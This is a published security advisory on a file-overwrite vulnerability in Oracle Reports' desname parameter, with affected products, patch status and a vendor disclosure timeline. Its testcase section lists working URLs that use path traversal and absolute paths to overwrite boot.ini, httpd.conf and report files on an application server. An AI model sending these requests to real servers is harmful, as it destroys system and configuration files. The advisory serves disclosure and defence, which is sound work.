Oracle Reports - Overwrite any application server file via desname (fixed after 889 days)
Name Overwrite any file via desname in Oracle Reports
Severity High Risk
Category File overwrite
Vendor URL http://www.oracle.com/
Author Alexander Kornbrust (ak at red-database-security.com)
Date 25 August 2005 (V 1.02)
Cert VU# 472148
CVE CAN-2005-2371
Oracle Bug 5883603
Time to fix 889 days ago
Details:
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Oracle Reports is Oracle's award-winning, high-fidelity enterprise reporting
tool.
It enables businesses to give immediate access to information to all levels
within and outside of the organization in an unrivaled scalable and secure
environment. Oracle Reports, a component of the Oracle Application Server, is
used by Oracle itself for the E-Business Suite. Many large customers are using
Oracle Reports as reporting tool for their enterprise applications.
By specifing a special value for the parameter desname Oracle Reports can
overwrite any file on the application server.
On Windows systems an attacker can overwrite any files (e.g. boot.ini) on the
application server.
On UNIX system an attacker can overwrite all files (e.g. opmn.xml) which
belongs to the Oracle Application Server user.
This attack can be done with a simple URL.
Affected Products:
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Internet Application Server
Oracle Application Server
Oracle Developer Suite
Patch Information:
##################
This bug is finally fixed with Critical Patch Update January 2006.
Testcase:
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Overwrite the boot.ini with the ../-syntax with PDF output (on a Windows
system)
http://myserver.com:7779/reports/rwservlet?server=repserv+userid=scott/tiger@iasdb+report=anyreport.rdf+destype=file+desformat=PDF+desname=../../../boot.ini
Overwrite the boot.ini via an absolute path with PDF output (on a Windows
system)
http://myserver.com:7779/reports/rwservlet?server=repserv+userid=scott/tiger@iasdb+report=anyreport.rdf+destype=file+desformat=PDF+desname=c:\boot.ini
Overwrite the file httpd.conf with PDF output (on a UNIX system)
http://myserver.com:7779/reports/rwservlet?server=repserv+myconn+report=anyreport.rdf+destype=file+desformat=PDF+desname=/oracle/iasapp/Apache/Apache/conf/httpd.conf
Overwrite any report (or form) with PDF output (on a UNIX system)
http://myserver.com:7779/reports/rwservlet?server=repserv+myconn+report=anyreport.rdf+destype=file+desformat=PDF+desname=/oracle/iasapp/reports/anyreport.rdf
History
12-aug-2003 Oracle secalert was informed
26-sep-2003 Bug confirmed
15-apr-2005 Red-Database-Security informed Oracle secalert that this
vulnerability will publish after CPU July 2005
Red-Database-Security offered Oracle more time if it is not possible to provide
a fix ==> NO FEEDBACK.
12-jul-2005 Oracle published CPU July 2005 without fixing this issue
18-jul-2005 Red-Database-Security published this advisory
21-jul-2005 Cert VU# and affected products added
25-aug-2005 CVE number added
16-sep-2005 Workaround was incomplete and is now correct (Thanks to D. Nachbar
for this information)
13-jan-2005 days since initial report updated
17-jan-2006 Oracle published the Critical Patch Update January 2006 (CPU
January 2006)
© 2006 by Red-Database-Security GmbH
http://www.red-database-security.com/advisory/oracle_cpu_jan_2006.html